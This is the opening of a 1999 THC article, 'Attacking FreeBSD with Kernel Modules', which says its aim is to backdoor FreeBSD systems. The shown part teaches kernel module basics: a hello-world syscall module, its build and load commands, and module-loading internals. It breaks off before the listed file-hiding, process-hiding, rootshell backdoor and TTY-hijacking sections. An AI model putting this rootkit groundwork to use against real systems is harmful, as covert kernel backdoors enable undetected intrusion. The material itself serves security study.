bsdkern.html 143 KB

1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071727374757677787980818283848586878889909192939495969798991001011021031041051061071081091101111121131141151161171181191201211221231241251261271281291301311321331341351361371381391401411421431441451461471481491501511521531541551561571581591601611621631641651661671681691701711721731741751761771781791801811821831841851861871881891901911921931941951961971981992002012022032042052062072082092102112122132142152162172182192202212222232242252262272282292302312322332342352362372382392402412422432442452462472482492502512522532542552562572582592602612622632642652662672682692702712722732742752762772782792802812822832842852862872882892902912922932942952962972982993003013023033043053063073083093103113123133143153163173183193203213223233243253263273283293303313323333343353363373383393403413423433443453463473483493503513523533543553563573583593603613623633643653663673683693703713723733743753763773783793803813823833843853863873883893903913923933943953963973983994004014024034044054064074084094104114124134144154164174184194204214224234244254264274284294304314324334344354364374384394404414424434444454464474484494504514524534544554564574584594604614624634644654664674684694704714724734744754764774784794804814824834844854864874884894904914924934944954964974984995005015025035045055065075085095105115125135145155165175185195205215225235245255265275285295305315325335345355365375385395405415425435445455465475485495505515525535545555565575585595605615625635645655665675685695705715725735745755765775785795805815825835845855865875885895905915925935945955965975985996006016026036046056066076086096106116126136146156166176186196206216226236246256266276286296306316326336346356366376386396406416426436446456466476486496506516526536546556566576586596606616626636646656666676686696706716726736746756766776786796806816826836846856866876886896906916926936946956966976986997007017027037047057067077087097107117127137147157167177187197207217227237247257267277287297307317327337347357367377387397407417427437447457467477487497507517527537547557567577587597607617627637647657667677687697707717727737747757767777787797807817827837847857867877887897907917927937947957967977987998008018028038048058068078088098108118128138148158168178188198208218228238248258268278288298308318328338348358368378388398408418428438448458468478488498508518528538548558568578588598608618628638648658668678688698708718728738748758768778788798808818828838848858868878888898908918928938948958968978988999009019029039049059069079089099109119129139149159169179189199209219229239249259269279289299309319329339349359369379389399409419429439449459469479489499509519529539549559569579589599609619629639649659669679689699709719729739749759769779789799809819829839849859869879889899909919929939949959969979989991000100110021003100410051006100710081009101010111012101310141015101610171018101910201021102210231024102510261027102810291030103110321033103410351036103710381039104010411042104310441045104610471048104910501051105210531054105510561057105810591060106110621063106410651066106710681069107010711072107310741075107610771078107910801081108210831084108510861087108810891090109110921093109410951096109710981099110011011102110311041105110611071108110911101111111211131114111511161117111811191120112111221123112411251126112711281129113011311132113311341135113611371138113911401141114211431144114511461147114811491150115111521153115411551156115711581159116011611162116311641165116611671168116911701171117211731174117511761177117811791180118111821183118411851186118711881189119011911192119311941195119611971198119912001201120212031204120512061207120812091210121112121213121412151216121712181219122012211222122312241225122612271228122912301231123212331234123512361237123812391240124112421243124412451246124712481249125012511252125312541255125612571258125912601261126212631264126512661267126812691270127112721273127412751276127712781279128012811282128312841285128612871288128912901291129212931294129512961297129812991300130113021303130413051306130713081309131013111312131313141315131613171318131913201321132213231324132513261327132813291330133113321333133413351336133713381339134013411342134313441345134613471348134913501351135213531354135513561357135813591360136113621363136413651366136713681369137013711372137313741375137613771378137913801381138213831384138513861387138813891390139113921393139413951396139713981399140014011402140314041405140614071408140914101411141214131414141514161417141814191420142114221423142414251426142714281429143014311432143314341435143614371438143914401441144214431444144514461447144814491450145114521453145414551456145714581459146014611462146314641465146614671468146914701471147214731474147514761477147814791480148114821483148414851486148714881489149014911492149314941495149614971498149915001501150215031504150515061507150815091510151115121513151415151516151715181519152015211522152315241525152615271528152915301531153215331534153515361537153815391540154115421543154415451546154715481549155015511552155315541555155615571558155915601561156215631564156515661567156815691570157115721573157415751576157715781579158015811582158315841585158615871588158915901591159215931594159515961597159815991600160116021603160416051606160716081609161016111612161316141615161616171618161916201621162216231624162516261627162816291630163116321633163416351636163716381639164016411642164316441645164616471648164916501651165216531654165516561657165816591660166116621663166416651666166716681669167016711672167316741675167616771678167916801681168216831684168516861687168816891690169116921693169416951696169716981699170017011702170317041705170617071708170917101711171217131714171517161717171817191720172117221723172417251726172717281729173017311732173317341735173617371738173917401741174217431744174517461747174817491750175117521753175417551756175717581759176017611762176317641765176617671768176917701771177217731774177517761777177817791780178117821783178417851786178717881789179017911792179317941795179617971798179918001801180218031804180518061807180818091810181118121813181418151816181718181819182018211822182318241825182618271828182918301831183218331834183518361837183818391840184118421843184418451846184718481849185018511852185318541855185618571858185918601861186218631864186518661867186818691870187118721873187418751876187718781879188018811882188318841885188618871888188918901891189218931894189518961897189818991900190119021903190419051906190719081909191019111912191319141915191619171918191919201921192219231924192519261927192819291930193119321933193419351936193719381939194019411942194319441945194619471948194919501951195219531954195519561957195819591960196119621963196419651966196719681969197019711972197319741975197619771978197919801981198219831984198519861987198819891990199119921993199419951996199719981999200020012002200320042005200620072008200920102011201220132014201520162017201820192020202120222023202420252026202720282029203020312032203320342035203620372038203920402041204220432044204520462047204820492050205120522053205420552056205720582059206020612062206320642065206620672068206920702071207220732074207520762077207820792080208120822083208420852086208720882089209020912092209320942095209620972098209921002101210221032104210521062107210821092110211121122113211421152116211721182119212021212122212321242125212621272128212921302131213221332134213521362137213821392140214121422143214421452146214721482149215021512152215321542155215621572158215921602161216221632164216521662167216821692170217121722173217421752176217721782179218021812182218321842185218621872188218921902191219221932194219521962197219821992200220122022203220422052206220722082209221022112212221322142215221622172218221922202221222222232224222522262227222822292230223122322233223422352236223722382239224022412242224322442245224622472248224922502251225222532254225522562257225822592260226122622263226422652266226722682269227022712272227322742275227622772278227922802281228222832284228522862287228822892290229122922293229422952296229722982299230023012302230323042305230623072308230923102311231223132314231523162317231823192320232123222323232423252326232723282329233023312332233323342335233623372338233923402341234223432344234523462347234823492350235123522353235423552356235723582359236023612362236323642365236623672368236923702371237223732374237523762377237823792380238123822383238423852386238723882389239023912392239323942395239623972398239924002401240224032404240524062407240824092410241124122413241424152416241724182419242024212422242324242425242624272428242924302431243224332434243524362437243824392440244124422443244424452446244724482449245024512452245324542455245624572458245924602461246224632464246524662467246824692470247124722473247424752476247724782479248024812482248324842485248624872488248924902491249224932494249524962497249824992500250125022503250425052506250725082509251025112512251325142515251625172518251925202521252225232524252525262527252825292530253125322533253425352536253725382539254025412542254325442545254625472548254925502551255225532554255525562557255825592560256125622563256425652566256725682569257025712572257325742575257625772578257925802581258225832584258525862587258825892590259125922593259425952596259725982599260026012602260326042605260626072608260926102611261226132614261526162617261826192620262126222623262426252626262726282629263026312632263326342635263626372638263926402641264226432644264526462647264826492650265126522653265426552656265726582659266026612662266326642665266626672668266926702671267226732674267526762677267826792680268126822683268426852686268726882689269026912692269326942695269626972698269927002701270227032704270527062707270827092710271127122713271427152716271727182719272027212722272327242725272627272728272927302731273227332734273527362737273827392740274127422743274427452746274727482749275027512752275327542755275627572758275927602761276227632764276527662767276827692770277127722773277427752776277727782779278027812782278327842785278627872788278927902791279227932794279527962797279827992800280128022803280428052806280728082809281028112812281328142815281628172818281928202821282228232824282528262827282828292830283128322833283428352836283728382839284028412842284328442845284628472848284928502851285228532854285528562857285828592860286128622863286428652866286728682869287028712872287328742875287628772878287928802881288228832884288528862887288828892890289128922893289428952896289728982899290029012902290329042905290629072908290929102911291229132914291529162917291829192920292129222923292429252926292729282929293029312932293329342935293629372938293929402941294229432944294529462947294829492950295129522953295429552956295729582959296029612962296329642965296629672968296929702971297229732974297529762977297829792980298129822983298429852986298729882989299029912992299329942995299629972998299930003001300230033004300530063007300830093010301130123013301430153016301730183019302030213022302330243025302630273028302930303031303230333034303530363037303830393040304130423043304430453046304730483049305030513052305330543055305630573058305930603061306230633064306530663067306830693070307130723073307430753076307730783079308030813082308330843085308630873088308930903091309230933094309530963097309830993100310131023103310431053106310731083109311031113112311331143115311631173118311931203121312231233124312531263127312831293130313131323133313431353136313731383139314031413142314331443145314631473148314931503151315231533154315531563157315831593160316131623163316431653166316731683169317031713172317331743175317631773178317931803181318231833184318531863187318831893190319131923193319431953196319731983199320032013202320332043205320632073208320932103211321232133214321532163217321832193220322132223223322432253226322732283229323032313232323332343235323632373238323932403241324232433244324532463247324832493250325132523253325432553256325732583259326032613262326332643265326632673268326932703271327232733274327532763277327832793280328132823283328432853286328732883289329032913292329332943295329632973298329933003301330233033304330533063307330833093310331133123313331433153316331733183319332033213322332333243325332633273328332933303331333233333334333533363337333833393340334133423343334433453346334733483349335033513352335333543355335633573358335933603361336233633364336533663367336833693370337133723373337433753376337733783379338033813382338333843385338633873388338933903391339233933394339533963397339833993400340134023403340434053406340734083409341034113412341334143415341634173418341934203421342234233424342534263427342834293430343134323433343434353436343734383439344034413442344334443445344634473448344934503451345234533454345534563457345834593460346134623463346434653466346734683469347034713472347334743475347634773478347934803481348234833484348534863487348834893490349134923493349434953496349734983499350035013502350335043505350635073508350935103511351235133514351535163517351835193520352135223523352435253526352735283529353035313532353335343535353635373538353935403541354235433544354535463547354835493550355135523553355435553556355735583559356035613562356335643565356635673568356935703571357235733574357535763577357835793580358135823583358435853586358735883589359035913592359335943595359635973598359936003601360236033604360536063607360836093610361136123613361436153616361736183619362036213622362336243625362636273628362936303631363236333634363536363637363836393640364136423643364436453646364736483649365036513652365336543655365636573658365936603661366236633664366536663667366836693670367136723673367436753676367736783679368036813682368336843685368636873688368936903691369236933694369536963697369836993700370137023703370437053706370737083709371037113712371337143715371637173718371937203721372237233724372537263727372837293730373137323733373437353736373737383739374037413742374337443745374637473748374937503751375237533754375537563757375837593760376137623763376437653766376737683769377037713772377337743775377637773778377937803781378237833784378537863787378837893790379137923793379437953796379737983799380038013802380338043805380638073808380938103811381238133814381538163817381838193820382138223823382438253826382738283829383038313832383338343835383638373838383938403841384238433844384538463847384838493850385138523853385438553856385738583859386038613862386338643865386638673868386938703871387238733874387538763877387838793880388138823883388438853886388738883889389038913892389338943895389638973898389939003901390239033904390539063907390839093910391139123913391439153916391739183919392039213922392339243925392639273928392939303931393239333934393539363937393839393940394139423943394439453946394739483949395039513952395339543955395639573958395939603961396239633964396539663967396839693970397139723973397439753976397739783979398039813982398339843985398639873988398939903991399239933994399539963997399839994000400140024003400440054006400740084009401040114012401340144015401640174018401940204021402240234024402540264027402840294030403140324033403440354036403740384039404040414042404340444045404640474048404940504051405240534054405540564057405840594060406140624063406440654066406740684069407040714072407340744075407640774078407940804081408240834084408540864087408840894090409140924093409440954096409740984099410041014102410341044105410641074108410941104111411241134114411541164117411841194120412141224123412441254126412741284129413041314132413341344135413641374138413941404141414241434144414541464147414841494150415141524153415441554156415741584159416041614162416341644165416641674168416941704171417241734174417541764177417841794180418141824183418441854186418741884189419041914192419341944195419641974198419942004201420242034204420542064207420842094210421142124213421442154216421742184219422042214222422342244225422642274228422942304231423242334234423542364237423842394240424142424243424442454246424742484249425042514252425342544255425642574258425942604261426242634264426542664267426842694270427142724273427442754276427742784279428042814282428342844285428642874288428942904291429242934294429542964297429842994300430143024303430443054306430743084309431043114312431343144315431643174318431943204321432243234324432543264327432843294330433143324333433443354336433743384339434043414342434343444345434643474348434943504351435243534354435543564357435843594360436143624363436443654366436743684369437043714372437343744375437643774378437943804381438243834384438543864387438843894390439143924393439443954396439743984399440044014402440344044405440644074408440944104411441244134414441544164417441844194420442144224423442444254426442744284429443044314432443344344435443644374438443944404441444244434444444544464447444844494450445144524453445444554456445744584459446044614462446344644465446644674468446944704471447244734474447544764477447844794480448144824483448444854486
  1. <HTML>
  2. <TITLE>- Attacking FreeBSD with Kernel Modules -</title>
  3. <BODY BGCOLOR=WHITE>
  4. <CENTER>
  5. <H1><FONT COLOR=#0000FF>
  6. - Attacking FreeBSD with Kernel Modules -
  7. </H1></FONT>
  8. <H4>
  9. The System Call Approach
  10. </H4>
  11. </CENTER>
  12. <P>
  13. <H4><FONT COLOR=#FF0000>
  14. written by pragmatic / THC, version 1.0<br>
  15. released 06/1999<br>
  16. </H4></font>
  17. <P><P><P><P><P><P>
  18. <CENTER>
  19. <H3>
  20. CONTENTS
  21. </H3>
  22. </CENTER>
  23. <A HREF="#Introduction"> Introduction</A><BR>
  24. <p>
  25. <b>
  26. <A HREF="#I.">I.Basics</A><BR>
  27. </b>
  28. <A HREF="#I.1.">1. FreeBSD 'Modules' - 'Hello World' Syscall Example</A><BR>
  29. <A HREF="#I.2.">2. Link Files and Modules - the difference </A><BR>
  30. <A HREF="#I.2.1.">2.1 A two in one example</A><BR>
  31. <A HREF="#I.3.">3. Diary of a module load process from the kernel
  32. perspective</A><BR>
  33. <A HREF="#I.4.">4. Other kinds of modules</A><BR>
  34. <A HREF="#I.5.">5. MISC modules with the KLD scheme</A><BR>
  35. <A HREF="#I.6.">6. System calls on FreeBSD</A><BR>
  36. <A HREF="#I.6.1."> 6.1 Important system calls for hacking</A><BR>
  37. <A HREF="#I.7.">7. Important Kernel structures / lists</A><BR>
  38. <A HREF="#I.7.1."> 7.1 TheSeeker - or how to access kernel lists</A><BR>
  39. <A HREF="#I.8.">8. From User to kernel space and back</A><BR>
  40. <A HREF="#I.9.">9. Last Words</A><BR>
  41. <p>
  42. <p>
  43. <b>
  44. <A HREF="#II.">II. Attacking with kernel code</A><BR>
  45. </b>
  46. <A HREF="#II.1.">1. How to intercept Syscalls</A><BR>
  47. <A HREF="#II.2.">2. Filesystem related hacks</A><BR>
  48. <A HREF="#II.2.1.">2.1 How to hide files</A><BR>
  49. <A HREF="#II.2.2.">2.2 How to hide the file contents</A><BR>
  50. <A HREF="#II.2.3.">2.3 And the rest ?</A><BR>
  51. <A HREF="#II.3.">3. Process related hacks</A><BR>
  52. <A HREF="#II.3.1.">3.1 How to hide any process</A><BR>
  53. <A HREF="#II.3.2.">3.2 backdoor 'rootshell'</A><BR>
  54. <A HREF="#II.4.">4. file execution redirection</A><BR>
  55. <A HREF="#II.5.">5. TTY hijacking</A><BR>
  56. <A HREF="#II.6.">6. Hiding the module</A><BR>
  57. <A HREF="#II.7.">7. Last words</A><BR>
  58. <p>
  59. <p>
  60. <b>
  61. <A HREF="#III.">III. Securing the kernel</A><BR>
  62. </b>
  63. <A HREF="#III.1.">1. How to detect sysent[] modifications</A><BR>
  64. <A HREF="#III.2.">2. How to restore old system calls</A><BR>
  65. <A HREF="#III.3.">3. General ideas for using MD5 Hashes</A><BR>
  66. <A HREF="#III.4.">4. How to see a hidden process</A><BR>
  67. <p>
  68. <p>
  69. <b>
  70. <A HREF="#IV.">IV. Last things to mention</A><BR>
  71. </b>
  72. <A HREF="#IV.1.">1. What about OpenBSD and NetBSD</A><BR>
  73. <A HREF="#IV.2.">2. Links</A><BR>
  74. <A HREF="#IV.3.">3. Greetings</A><BR>
  75. <p>
  76. <H3><A NAME="Introduction"></A>Introduction</H3>
  77. <p>
  78. FreeBSD is an often used server operating system. Lots of ISPs, universities
  79. and some firms are using it. After releasing my Linux LKM text van Hauser asked
  80. my to take a look at the FreeBSD kernel, so here we go.<br>
  81. This text will show you that most Linux LKMs can be ported to BSD systems
  82. (FreeBSD). On FreeBSD we can even do some things that were harder to
  83. implement on Linux systems. This text only deals with ways to
  84. backdoor/intercept system calls. I had a little conversation with Solar
  85. Designer who tought me that there are lots of other ways to attack the FreeBSD
  86. kernel, but this will come in a further release.<br>
  87. For those people new to BSD and module techniques I really suggest reading my
  88. '(nearly) Complete Linux Loadable Kernel Module' article
  89. (http://www.thc.org). Of course this FreeBSD text has a basic section, but
  90. the basic part of the Linux text is much more comprehensive and easier to
  91. understand. The Linux text will give you the basic ideas for understanding
  92. most stuff I mention here. People who already did some kernel coding under
  93. FreeBSD, who can read and understand kernel code and those who did some LKM
  94. hacking on Linux boxes can read on without any problems. Bear in mind that the
  95. main aim of this text is to show some new ideas to attack/backdoor FreeBSD
  96. systems, and not to teach you FreeBSD kernel coding. So I made it as short and
  97. complete as I can. I developed all modules on a FreeBSD 3.1 system (x86). I
  98. used the new KLD scheme - introduced by FreeBSD 3.0 - to insert kernel code.
  99. Older FreeBSD systems which work with LKMs (/dev/lkm) can also be used, but
  100. there must be some modifications to the code in order to make them work. The
  101. general ideas in this text should also work on OpenBSD and NetBSD. For kernel
  102. gurus : Don't blame me for the bad coding style I used in this paper
  103. sometimes, but very compact code is harder to understand,to read and even
  104. harder to explain. And please remember : This text is for educational purpose
  105. only !<br>
  106. Note : I only know of one text dealing with the problems and solutions
  107. I describe here. That older text written by halflife (see Phrack Magazine
  108. Volume 7, Issue 51 September 01, 1997, article 09) showed how to hide LKMs
  109. under FreeBSD 2.2 systems and how to hide certain files from directory
  110. listings (the goal was to avoid integrity checks). Due to the fact that you
  111. can do much more stuff with modules and that FreeBSD changed a lot (LKMs are
  112. gone...) I wrote this text.
  113. <p>
  114. <H3><A NAME="I."></A>I. Basics</H3>
  115. <p>
  116. This section will give you a very brief and easy (so partly incomplete) but
  117. working overview of the FreeBSD way to insert code via modules. <br>
  118. The problem concerning FreeBSD is the lack of documentation. There is only a
  119. very small and elite group of programmers working on the kernel. At the time
  120. of writing (May '99) I was not able to find any
  121. good documentation helping us to dive deep into the kernel. So we have to go
  122. the hardest but best way : reading source code. Because of this there may be
  123. some minor errors in some explainations I give you, but every piece of code is
  124. working and the general view should be correct ;)!<br>
  125. <p>
  126. <H3><A NAME="I.1."</A>1. FreeBSD 'Modules' - 'Hello World' Syscall Example</H3>
  127. <p>
  128. Before starting to explain I will present you a module example which installs
  129. a system call that will print a simple message on the screen. I also included
  130. the user space part. You may know this example, I took it from the FreeBSD
  131. distribution (I only added some comments).
  132. <xmp>
  133. #include <sys/types.h>
  134. #include <sys/param.h>
  135. #include <sys/proc.h>
  136. #include <sys/module.h>
  137. #include <sys/sysent.h>
  138. #include <sys/kernel.h>
  139. #include <sys/systm.h>
  140. /*this is the function which represents our system call*/
  141. static int
  142. hello (struct proc *p, void *arg)
  143. {
  144. printf ("hello kernel\n");
  145. return 0;
  146. }
  147. /*on FreeBSD every system call is described by a sysent structure, which holds
  148. the corresponding system call function (here hello) and the appropriate count
  149. of arguments (here 0)*/
  150. static struct sysent hello_sysent = {
  151. 0, /* sy_narg */
  152. hello /* sy_call */
  153. };
  154. /*every system call has a certain number (called slot or offset on BSD). This
  155. number represents the index in the global sysent list holding every syscall.
  156. BSD is able to search a free slot for a syscall (by setting it to NO_SYSCALL)
  157. which is used here.*/
  158. static int offset = NO_SYSCALL;
  159. /*this function can be compared to the init_module & cleanup_module functions
  160. on Linux. The differentiation is done via the cmd variable.*/
  161. static int
  162. load (struct module *module, int cmd, void *arg)
  163. {
  164. int error = 0;
  165. /*what do we have?*/
  166. switch (cmd) {
  167. /*we have a load*/
  168. case MOD_LOAD :
  169. printf ("syscall loaded at %d\n", offset);
  170. break;
  171. /*we have an unload*/
  172. case MOD_UNLOAD :
  173. printf ("syscall unloaded from %d\n", offset);
  174. break;
  175. default :
  176. error = EINVAL;
  177. break;
  178. }
  179. return error;
  180. }
  181. /*This is the most tricky part of this module. That macro will install the
  182. module and calls the required functions. We will take a deeper look at this
  183. later.*/
  184. SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
  185. </xmp>
  186. Compiling this module is very easy on FreeBSD. We just use an universal
  187. Makefile which is very easy because of the nice MK files used by FreeBSD (BSD).
  188. Here we go :
  189. <xmp>
  190. SRCS = helloworld.c
  191. KMOD = helloworld
  192. KO = ${KMOD}.ko
  193. KLDMOD = t
  194. .include <bsd.kmod.mk>
  195. </xmp>
  196. Aren't those MK file a good idea :). So after comiling you get a file called
  197. helloworld.ko. This file is in ELF format (so no pure object file). <br>
  198. Take a look at the FreeBSD user space example calling this system call.
  199. <xmp>
  200. #include <stdio.h>
  201. #include <sys/syscall.h>
  202. #include <sys/types.h>
  203. #include <sys/module.h>
  204. int
  205. main(int argc, char **argv)
  206. {
  207. char *endptr;
  208. int syscall_num;
  209. struct module_stat stat;
  210. stat.version = sizeof(stat);
  211. /*modstat will retrieve the module_stat structure for our module named
  212. syscall (see the SYSCALL_MODULE macro which sets the name to syscall)*/
  213. modstat(modfind("syscall"), &stat);
  214. /*extract the slot (syscall) number*/
  215. syscall_num = stat.data.intval;
  216. /*and call it without any arguments (because we didn't include support for
  217. arguments*/
  218. return syscall (syscall_num);
  219. }
  220. </xmp>
  221. You can compile this the following way (it's too easy to waste time with a
  222. Makefile) :
  223. <xmp>
  224. # gcc -o call call.c
  225. </xmp>
  226. Now you have a working module which will install a system call you can
  227. call from user space with this little call program.
  228. You can load the module with
  229. <xmp>
  230. # kldload ./helloworld.ko
  231. </xmp>
  232. and unload with
  233. <xmp>
  234. # kldunlod helloworld
  235. </xmp>
  236. with
  237. <xmp>
  238. # kldstat
  239. </xmp>
  240. you will get a list of loaded link files (NOT modules).
  241. Before reading on, you should understand the global scheme used in the sources
  242. I presented here.
  243. <p>
  244. <H3><A NAME="I.2."></A>2. Link Files and Modules - the difference</H3>
  245. <p>
  246. There is a big difference between the output presented by kldstat and the
  247. loaded modules. A module on FreeBSD means some part of the kernel, an exec
  248. driver, a system call module, a device driver... The kernel itself contains
  249. some modules (FS support for example). A link file on the other hand is
  250. something like a wrapper which can hold lots of modules. So our helloworld
  251. example from above is one module wrapped in the link file helloworld.ko.<br>
  252. So in general words : A module is just a bit of structured kernel code that
  253. represents a certain driver (exec format, device, for example) or whatever. A
  254. link file is just a file holding one or more modules which will be inserted
  255. into the kernel. <br>
  256. For those who want to know it exactly; here is the definition by Doug Rabson :
  257. <xmp>
  258. Kernel Linker
  259. The kernel linker simply dynamically loads code into the kernel. A
  260. symbol table is included in the kernel by ld(1) in the same way as
  261. for dynamically linked user programs. As files are loaded, the code
  262. is relocated and any unresolved symbols are matched against the
  263. kernel's symbol table. Files can also include a list of dependencies
  264. to allow code which is common to several files to be loaded
  265. automatically. The kernel can load files without help from a user
  266. program (in contrast to the older LKM system) and the kernel
  267. bootstrap can also pre-load files, allowing devices which needed
  268. before the root disk is available to be dynamically loaded instead of
  269. statically linked into the kernel.
  270. As code is loaded, any SYSINITs which it contains are
  271. run. This makes it possible to write code which is identical whether
  272. it is statically or dynamically loaded. When a file is unloaded, a
  273. similar list of functions defined by SYSUNINIT is run.
  274. <p>
  275. Modules
  276. Layered on top of the kernel linker is the module system. It uses
  277. a SYSINIT to implement a simple event system for code which
  278. is loaded. The idea is that a piece of code defines a module (using
  279. DECLARE_MODULE) and supplies a handler routine. The handler
  280. is called at load, unload and shutdown to allow the module to
  281. initialise itself. Various kernel subsystems provide generic handler
  282. functions for registering filesystems, devices or whatever and they
  283. generally provide a macro which wraps DECLARE_MODULE (e.g.
  284. VFS_SET).
  285. </xmp>
  286. I hope you got the idea, if not read on and re-read this part until you
  287. understand it totally.
  288. <p>
  289. <H3><A NAME="I.2.1."></A>2.1 A two in one example</H3>
  290. <p>
  291. This example is just a proof of concept. It shows how to pack two modules in
  292. one file using the linker mechanics (two SYSINITs wrapped by SYSCALL_MODULE
  293. macro).
  294. <xmp>
  295. #include <sys/types.h>
  296. #include <sys/param.h>
  297. #include <sys/proc.h>
  298. #include <sys/module.h>
  299. #include <sys/sysent.h>
  300. #include <sys/kernel.h>
  301. #include <sys/systm.h>
  302. /*this is the function our first syscall module (syscall_1) will use*/
  303. static int
  304. hello_1 (struct proc *p, void *arg)
  305. {
  306. printf ("hello kernel from syscall_1\n");
  307. return 0;
  308. }
  309. /*this is the function our second syscall module (syscall_2) will use*/
  310. static int
  311. hello_2 (struct proc *p, void *arg)
  312. {
  313. printf ("hello kernel from syscall_2\n");
  314. return 0;
  315. }
  316. /*first sysent structure which describes the first system call*/
  317. static struct sysent hello_sysent_1 = {
  318. 0, /* sy_narg */
  319. hello_1 /* sy_call */
  320. };
  321. /*second sysent structure which describes the second system call*/
  322. static struct sysent hello_sysent_2 = {
  323. 0, /* sy_narg */
  324. hello_2 /* sy_call */
  325. };
  326. /*both system call slots (numbers) should be selected by the kernel*/
  327. static int offset_1 = NO_SYSCALL;
  328. static int offset_2 = NO_SYSCALL;
  329. /*the two load functions*/
  330. static int
  331. load_1 (struct module *module, int cmd, void *arg)
  332. {
  333. int error = 0;
  334. switch (cmd) {
  335. case MOD_LOAD :
  336. printf ("syscall_1 loaded at %d\n", offset_1);
  337. break;
  338. case MOD_UNLOAD :
  339. printf ("syscall_1 unloaded from %d\n", offset_1);
  340. break;
  341. default :
  342. error = EINVAL;
  343. break;
  344. }
  345. return error;
  346. }
  347. static int
  348. load_2 (struct module *module, int cmd, void *arg)
  349. {
  350. int error = 0;
  351. switch (cmd) {
  352. case MOD_LOAD :
  353. printf ("syscall_2 loaded at %d\n", offset_2);
  354. break;
  355. case MOD_UNLOAD :
  356. printf ("syscall_2 unloaded from %d\n", offset_2);
  357. break;
  358. default :
  359. error = EINVAL;
  360. break;
  361. }
  362. return error;
  363. }
  364. /*install the first module (NAME : syscall_1)*/
  365. SYSCALL_MODULE(syscall_1, &offset_1, &hello_sysent_1, load_1, NULL);
  366. /*install the second module (NAME : syscall_2)*/
  367. SYSCALL_MODULE(syscall_2, &offset_2, &hello_sysent_2, load_2, NULL);
  368. </xmp>
  369. You can use the same Makefile for the link file above. As you can see I
  370. duplicated every item in this file. This way I implemented two totally
  371. independend modules packed in one link file. The name of the first module is
  372. 'syscall_1' and the second module's name is 'syscall_2'.<br>
  373. The following piece of code is the needed user space part which will find
  374. both modules and call their system calls.
  375. <xmp>
  376. #include <stdio.h>
  377. #include <sys/syscall.h>
  378. #include <sys/types.h>
  379. #include <sys/module.h>
  380. int
  381. main(int argc, char **argv)
  382. {
  383. char *endptr;
  384. int syscall_num;
  385. struct module_stat stat;
  386. /*first module*/
  387. stat.version = sizeof(stat);
  388. modstat(modfind("syscall_1"), &stat);
  389. syscall_num = stat.data.intval;
  390. syscall (syscall_num);
  391. /*second module*/
  392. stat.version = sizeof(stat);
  393. modstat(modfind("syscall_2"), &stat);
  394. syscall_num = stat.data.intval;
  395. syscall (syscall_num);
  396. }
  397. </xmp>
  398. After this example you should understand the concept of packing modules in
  399. link files.
  400. <p>
  401. <H3><A NAME="I.3."></A>3. Diary of a module load process from the kernel
  402. perspective</H3>
  403. <p>
  404. For total Beginners : I suppose those without a going C and BSD knowledge have
  405. to 'fight' with this part but I can't loose too many words here (the text would
  406. become far too big); so I pack everything in a short summary. This section is
  407. only a very brief and not very deep introduction into the module / link file
  408. handling made by the kernel, but it is enough to understand the rest of this
  409. text. <br>
  410. The following code represents the helloworld example in a form where I
  411. 'resolved' the SYSCALL_MODULE macro. I just coded everything by hand (only the
  412. last part [SYSCALL_MODULE macro] changed) so things become clearer:
  413. <xmp>
  414. #include <sys/types.h>
  415. #include <sys/param.h>
  416. #include <sys/proc.h>
  417. #include <sys/module.h>
  418. #include <sys/sysent.h>
  419. #include <sys/kernel.h>
  420. #include <sys/systm.h>
  421. static int
  422. hello (struct proc *p, void *arg)
  423. {
  424. printf ("hello kernel from syscall_1\n");
  425. return 0;
  426. }
  427. static struct sysent hello_sysent = {
  428. 0, /* sy_narg */
  429. hello /* sy_call */
  430. };
  431. static int offset = NO_SYSCALL;
  432. static int
  433. load (struct module *module, int cmd, void *arg)
  434. {
  435. int error = 0;
  436. switch (cmd) {
  437. case MOD_LOAD :
  438. printf ("syscall loaded at %d\n", offset);
  439. break;
  440. case MOD_UNLOAD :
  441. printf ("syscall unloaded from %d\n", offset);
  442. break;
  443. default :
  444. error = EINVAL;
  445. break;
  446. }
  447. return error;
  448. }
  449. /*The following lines do the same as :
  450. --------------------------------------
  451. SYSCALL_MODULE(syscall, &offset, &hello_sysent, load, NULL);
  452. */
  453. /*fill the X_syscall_mod structure made only for syscall modules*/
  454. static struct syscall_module_data syscall_syscall_mod = {
  455. load, NULL, &offset, &hello_sysent
  456. };
  457. /*fill the module structure; the same for any module*/
  458. static moduledata_t syscall_mod = {
  459. "syscall",
  460. syscall_module_handler, /*special handler for syscall modules*/
  461. &syscall_syscall_mod /*speciel syscall module data*/
  462. };
  463. /*the sysinit structure for starting / registering*/
  464. static struct sysinit syscall_sys_init = {
  465. SI_SUB_DRIVERS, /*SUBSYSTEM*/
  466. SI_ORDER_MIDDLE, /*ORDER*/
  467. module_register_init, /*the same for any module, register function*/
  468. &syscall_mod /*module specific data*/
  469. };
  470. /*we want hack at this layer, it just initializing some regions*/
  471. static void const * const
  472. __set_sysinit_set_sym_syscall_sys_init=&syscall_sys_init;
  473. __asm(".section .set.""sysinit_set"",\"aw\"");
  474. __asm(".long " "syscall_sys_init");
  475. __asm(".previous");
  476. </xmp>
  477. Now let's start from the kldload command which is implemented as a system call
  478. in kern_linker.c. This system call first checks the securelevel (if > 0 then it
  479. won't work) after this it will check for UID=0. Then the kernel checks
  480. whether this link file is already loaded, if so it will abort. If everything
  481. is ok so far, it will call linker_load_file (kern_linker.c). After some checks
  482. this function will fill a linker_file structure and pass it to
  483. linker_file_sysinit (kern_linker.c). This function will use the
  484. syscall_sysinit_set structure (see example above) for initialization. That
  485. structure is defined in kernel.h. Normally it is defined by macros
  486. (we used the hand-made approach to see things clear). Here is the structure :
  487. <xmp>
  488. struct sysinit {
  489. unsigned int subsystem; /* subsystem identifier*/
  490. unsigned int order; /* init order within subsystem*/
  491. void (*func) __P((void *)); /* init function*/
  492. void *udata; /* multiplexer/argument */
  493. si_elem_t type; /* sysinit_elem_type*/
  494. };
  495. </xmp>
  496. The type field is set automatically so I did not set it by hand. The subsystem
  497. and order codes are also defined in kernel.h. The function pointer points to a
  498. function that is called at module startup with udata as parameter. As you can
  499. see in the example above the module_register_init function (kern_module.c) is
  500. called with the module data structure holding the module specific data. So our
  501. next step must be this function. <br>
  502. This function extracts the data from the argument it gets (the module data
  503. structure). After this the module_register function (kern_module.c) is called
  504. with the extracted data. This function first sets some fields of the module
  505. structure (represented by a pointer to it called module_t) which is used by the
  506. kernel to descibe any loaded module. After setting every field the module
  507. (represented by the now filled module structure) is added to the global
  508. module list (called modules). For a better understanding I put the module
  509. structure here plus a short description :
  510. <xmp>
  511. struct module {
  512. /*the first two entries are just for global module handling*/
  513. TAILQ_ENTRY(module) link;
